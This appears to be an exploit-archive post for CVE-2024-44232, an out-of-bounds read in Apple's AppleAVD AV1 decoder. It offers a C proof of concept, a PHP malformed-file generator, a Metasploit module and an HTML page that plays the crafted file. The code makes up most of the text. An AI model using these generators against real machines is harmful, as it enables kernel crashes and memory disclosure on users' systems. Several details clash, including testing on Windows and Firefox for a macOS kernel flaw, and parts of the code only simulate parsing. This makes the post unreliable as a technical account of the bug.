📄 macOS Sonoma 14.5 Denial of Service

=============================================================================================================================================
    | # Title     : macOS Sonoma 14.5 potential kernel crash                                                                                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : System built‑in component. No standalone download available.                                                                |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/202851/ &  CVE-2024-44232
    
    [+] Summary : 
    
                 The vulnerability resides in the AV1_Syntax::Parse_Header function, where the size of AV1 OBUs (Open Bitstream Units) is parsed incorrectly. 
    			 Due to insufficient validation of OBU sizes, a specially crafted AV1 video file can cause the parser to compute an excessively large size value. When this malformed size is later used during parsing, it can trigger an Out-of-Bounds Read.
                 This flaw is tracked as CVE-2024-44232, a critical out-of-bounds read vulnerability in Apple’s hardware-accelerated AppleAVD AV1 decoding kernel extension. 
    			 The issue affects macOS systems equipped with hardware AV1 decoder support.
    			 
    [+] Discovered by Google Project Zero, the vulnerability may lead to:
    
        Kernel memory disclosure, or Kernel crashes (DoS)
        simply by processing a malicious AV1 video file.
    
    
    [+]  POC : 
    
    for php : php poc.php
    
    Makefile for C PoC
    makefile
    
    # Makefile for CVE-2024-44232 PoC
    CC = gcc
    CFLAGS = -Wall -Wextra -std=c99
    TARGET = av1_poc
    SRC = av1_poc.c
    
    all: $(TARGET)
    
    $(TARGET): $(SRC)
    	$(CC) $(CFLAGS) -o $(TARGET) $(SRC)
    
    clean:
    	rm -f $(TARGET) *.av1
    
    test: $(TARGET)
    	./$(TARGET)
    
    .PHONY: all clean test
    
    🔧 Compilation and Usage
    For C Version:
    bash
    
    gcc -Wall -o av1_poc av1_poc.c
    ./av1_poc
    
    ************************
    C Language PoC :
    ************************
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    
    // Basic OBU structure
    typedef struct {
        uint8_t type;
        uint8_t extension_flag;
        uint8_t has_size;
        uint64_t size;
    } obu_header_t;
    
    // Create malformed AV1 with oversized OBU
    void create_malformed_av1(uint8_t **buffer, size_t *size) {
        // AV1 basic signature
        uint8_t av1_signature[] = {0x81, 0x00, 0x00, 0x00};
        
        // OBU with extremely large size
        obu_header_t obu;
        obu.type = 0x0F; // Unknown/Padding type (triggers vulnerable path)
        obu.extension_flag = 0x00;
        obu.has_size = 0x01;
        obu.size = 0xFFFFFFFFFFFFFFFF; // Maximum size
        
        // Calculate total size
        size_t header_size = sizeof(av1_signature);
        size_t obu_size = 4 + 8; // OBU header + encoded OBU size
        *size = header_size + obu_size;
        
        // Allocate memory
        *buffer = (uint8_t*)malloc(*size);
        if (!*buffer) {
            printf("Memory allocation failed\n");
            return;
        }
        
        // Copy signature
        memcpy(*buffer, av1_signature, sizeof(av1_signature));
        
        // Build OBU header
        uint8_t *ptr = *buffer + header_size;
        
        // Type and extension field
        *ptr++ = (obu.type << 3) | (obu.extension_flag << 2) | (obu.has_size << 1);
        
        // Encoded OBU size (LEB128) - very large size
        uint8_t leb128[] = {
            0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
            0xFF, 0xFF, 0xFF, 0xFF, 0x7F  // Stop byte
        };
        memcpy(ptr, leb128, sizeof(leb128));
        ptr += sizeof(leb128);
        
        printf("Malformed AV1 file created:\n");
        printf("- Total size: %zu bytes\n", *size);
        printf("- OBU type: 0x%02X (Unknown)\n", obu.type);
        printf("- OBU size: %llu (extremely large)\n", obu.size);
    }
    
    // Simulate vulnerable OBU parsing
    void simulate_obu_parsing(const uint8_t *data, size_t data_size) {
        printf("\nSimulating OBU parsing...\n");
        
        const uint8_t *ptr = data + 4; // Skip AV1 signature
        const uint8_t *end = data + data_size;
        
        if (ptr >= end) {
            printf("Insufficient data\n");
            return;
        }
        
        // Read OBU header
        uint8_t obu_header = *ptr++;
        uint8_t obu_type = (obu_header >> 3) & 0x1F;
        uint8_t extension_flag = (obu_header >> 2) & 0x1;
        uint8_t has_size = (obu_header >> 1) & 0x1;
        
        printf("OBU Header:\n");
        printf("- Type: 0x%02X\n", obu_type);
        printf("- Extension flag: %d\n", extension_flag);
        printf("- Has size: %d\n", has_size);
        
        if (!has_size) {
            printf("No OBU size field\n");
            return;
        }
        
        // Simulate reading OBU size (vulnerable code)
        uint64_t obu_size = 0;
        int shift = 0;
        int bytes_read = 0;
        int max_bytes = 8;
        
        printf("Reading OBU size (LEB128):\n");
        
        while (bytes_read < max_bytes) {
            if (ptr >= end) {
                printf("End of data while reading size\n");
                break;
            }
            
            uint8_t byte = *ptr++;
            bytes_read++;
            
            obu_size |= (uint64_t)(byte & 0x7F) << shift;
            printf("  Byte %d: 0x%02X, Current size: %llu\n", 
                   bytes_read, byte, obu_size);
            
            if ((byte & 0x80) == 0) {
                break;
            }
            
            shift += 7;
            if (bytes_read == max_bytes) {
                printf("  Reached max bytes\n");
                break;
            }
        }
        
        printf("Final OBU size: %llu\n", obu_size);
        printf("Remaining buffer bytes: %ld\n", end - ptr);
        
        // Simulate the vulnerable out-of-bounds read
        if (obu_type == 0x0F) { // Unknown/Padding type
            printf("\nTriggering unknown OBU path...\n");
            
            // This simulates the vulnerable code:
            // while ( v31 + v83 )  
            // {  
            //   if ( v8[v36 - 1 + v31 + v37 + v22 + v83--] )  
            
            size_t remaining_data = end - ptr;
            if (obu_size > remaining_data) {
                printf("❗ POTENTIAL OUT-OF-BOUNDS READ!\n");
                printf("❗ OBU requests %llu bytes but only %zu bytes available\n", 
                       obu_size, remaining_data);
                printf("❗ Difference: %lld bytes beyond bounds\n", 
                       obu_size - remaining_data);
            } else {
                printf("Sufficient data for OBU\n");
            }
        }
    }
    
    // Main test cycle
    int main() {
        printf("=== CVE-2024-44232 PoC - AppleAVD OOB Read ===\n");
        printf("Out-of-bounds read in AV1 decoding\n\n");
        
        uint8_t *malformed_av1 = NULL;
        size_t file_size = 0;
        
        // Create malformed AV1 file
        create_malformed_av1(&malformed_av1, &file_size);
        
        if (malformed_av1) {
            // Simulate vulnerable processing
            simulate_obu_parsing(malformed_av1, file_size);
            
            // Cleanup
            free(malformed_av1);
        }
        
        printf("\n=== Test completed ===\n");
        return 0;
    }
    
    -********************
    PHP PoC
    -**/*/*/*/*/*/*/*/*/*/
    
    <?php
    /**
     * CVE-2024-44232 PoC - AppleAVD Out-of-Bounds Read
     * PHP malformed AV1 file generator
     * by indoushka
     */
    
    class AV1MalformedGenerator {
        
        private $debug = true;
        
        public function log($message) {
            if ($this->debug) {
                echo "[INFO] " . $message . "\n";
            }
        }
        
        public function generateMalformedAV1() {
            $this->log("Generating malformed AV1 file for CVE-2024-44232");
            
            // AV1 signature
            $av1_signature = "\x81\x00\x00\x00";
            
            // Create OBU with huge size
            $obu_header = $this->createObuHeader(0x0F, false, true); // Unknown type
            
            // Create oversized LEB128
            $leb128_size = $this->createLargeLeb128(0x7FFFFFFFFFFFFFFF);
            
            // Build the data
            $malformed_data = $av1_signature . $obu_header . $leb128_size;
            
            $this->log("Malformed data generated:");
            $this->log(" - Total size: " . strlen($malformed_data) . " bytes");
            $this->log(" - OBU type: 0x0F (Unknown)");
            $this->log(" - OBU size: extremely large");
            
            return $malformed_data;
        }
        
        private function createObuHeader($type, $extension_flag, $has_size) {
            $header = ($type << 3) | ($extension_flag << 2) | ($has_size << 1);
            return chr($header);
        }
        
        private function createLargeLeb128($size) {
            $leb128 = "";
            $value = $size;
            
            do {
                $byte = $value & 0x7F;
                $value >>= 7;
                
                if ($value != 0) {
                    $byte |= 0x80;
                }
                
                $leb128 .= chr($byte);
            } while ($value != 0);
            
            // Add extra bytes to make size huge
            while (strlen($leb128) < 10) {
                $leb128 .= chr(0xFF);
            }
            $leb128 .= chr(0x7F); // Stop byte
            
            $this->log("Created LEB128 size: " . strlen($leb128) . " bytes");
            
            return $leb128;
        }
        
        public function saveToFile($filename = "malformed.av1") {
            $data = $this->generateMalformedAV1();
            
            if (file_put_contents($filename, $data)) {
                $this->log("File saved as: " . $filename);
                $this->analyzeFile($filename);
                return true;
            } else {
                $this->log("Failed to save file");
                return false;
            }
        }
        
        private function analyzeFile($filename) {
            $data = file_get_contents($filename);
            $this->log("\nFile analysis:");
            $this->log("Size: " . strlen($data) . " bytes");
            $this->log("First bytes: " . bin2hex(substr($data, 0, 16)));
            
            // Simulate vulnerable parsing
            $this->simulateVulnerableParsing($data);
        }
        
        private function simulateVulnerableParsing($data) {
            $this->log("\nSimulating vulnerable parsing:");
            
            if (strlen($data) < 5) {
                $this->log("Insufficient data");
                return;
            }
            
            $ptr = 4; // Skip signature
            $obu_header = ord($data[$ptr++]);
            
            $type = ($obu_header >> 3) & 0x1F;
            $has_size = ($obu_header >> 1) & 0x1;
            
            $this->log("OBU header: 0x" . dechex($obu_header));
            $this->log("Type: 0x" . dechex($type));
            $this->log("Has size: " . $has_size);
            
            if ($has_size) {
                $obu_size = 0;
                $shift = 0;
                $bytes_read = 0;
                
                while ($bytes_read < 10 && $ptr < strlen($data)) {
                    $byte = ord($data[$ptr++]);
                    $bytes_read++;
                    
                    $obu_size |= ($byte & 0x7F) << $shift;
                    
                    if (($byte & 0x80) == 0) {
                        break;
                    }
                    
                    $shift += 7;
                }
                
                $this->log("Parsed size: " . $obu_size);
                $this->log("Remaining bytes: " . (strlen($data) - $ptr));
                
                if ($obu_size > (strlen($data) - $ptr)) {
                    $this->log("⚠️  POTENTIAL OUT-OF-BOUNDS READ!");
                    $this->log("⚠️  Requested: " . $obu_size . " bytes");
                    $this->log("⚠️  Available: " . (strlen($data) - $ptr) . " bytes");
                }
            }
        }
    }
    
    // Usage
    if (php_sapi_name() === 'cli') {
        $generator = new AV1MalformedGenerator();
        
        if (isset($argv[1])) {
            $filename = $argv[1];
        } else {
            $filename = "cve_2024_44232_poc.av1";
        }
        
        $generator->saveToFile($filename);
        
        echo "\n=== Test file generated ===\n";
        echo "Use this file to test the vulnerability on macOS systems\n";
        echo "with AppleAVD extension and hardware AV1 decoder support\n";
    }
    ?>
    
    ***********************
    Metasploit Module
    ***********************
    ##
    # Metasploit module for CVE-2024-44232
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Auxiliary
      
      include Msf::Exploit::FILEFORMAT
      
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'AppleAVD AV1 OBU Out-of-Bounds Read',
          'Description'    => %q{
            This module generates a malformed AV1 file that triggers
            an out-of-bounds read in AppleAVD kernel extension.
            CVE-2024-44232.
          },
          'Author'         => ['indoushka'],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['CVE', '2024-44232'],
            ['URL', 'https://googleprojectzero.blogspot.com/']
          ],
          'DisclosureDate' => '2024-07-24'
        ))
        
        register_options([
          OptString.new('FILENAME', [true, 'The output filename', 'malformed.av1'])
        ])
      end
      
      def run
        # AV1 signature
        av1_signature = "\x81\x00\x00\x00"
        
        # OBU header with unknown type
        obu_header = create_obu_header(0x0F, false, true)
        
        # Large LEB128 size
        leb128_size = create_large_leb128(0x7FFFFFFFFFFFFFFF)
        
        # Build the file
        malformed_data = av1_signature + obu_header + leb128_size
        
        print_status("Creating malformed AV1 file...")
        print_status("Total size: #{malformed_data.length} bytes")
        print_status("OBU type: 0x0F (Unknown)")
        print_status("Large OBU size to trigger OOB read")
        
        file_create(malformed_data)
        print_good("Malformed AV1 file created: #{datastore['FILENAME']}")
      end
      
      def create_obu_header(type, extension_flag, has_size)
        header = (type << 3) | (extension_flag ? 1 << 2 : 0) | (has_size ? 1 << 1 : 0)
        [header].pack('C')
      end
      
      def create_large_leb128(size)
        leb128 = ""
        value = size
        
        begin
          byte = value & 0x7F
          value >>= 7
          
          if value != 0
            byte |= 0x80
          end
          
          leb128 << [byte].pack('C')
        end while value != 0
        
        # Make the size larger
        while leb128.length < 10
          leb128 << "\xFF"
        end
        leb128 << "\x7F"
        
        leb128
      end
    end
    
    **************************
    HTML Test Page
    ////////*****************
    <!DOCTYPE html>
    <html>
    <head>
        <title>CVE-2024-44232 Test</title>
    </head>
    <body>
        <h1>indoushka-AppleAVD Vulnerability Test Page</h1>
        
        <video id="testVideo" width="320" height="240" controls>
            <source src="malformed.av1" type="video/av1">
            Browser does not support AV1.
        </video>
        
        <script>
            // Try to load the malformed video
            const video = document.getElementById('testVideo');
            
            video.addEventListener('error', function(e) {
                console.log('Video loading error:', e);
                document.getElementById('status').innerHTML = 
                    'Error detected - vulnerability may have been triggered';
            });
            
            video.addEventListener('load', function(e) {
                document.getElementById('status').innerHTML = 
                    'Video loaded successfully';
            });
        </script>
        
        <div id="status">Preparing...</div>
        <div id="info">
            <p>This is a test for CVE-2024-44232 in AppleAVD</p>
            <p>On macOS systems with hardware AV1 decoder support</p>
        </div>
    </body>
    </html>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================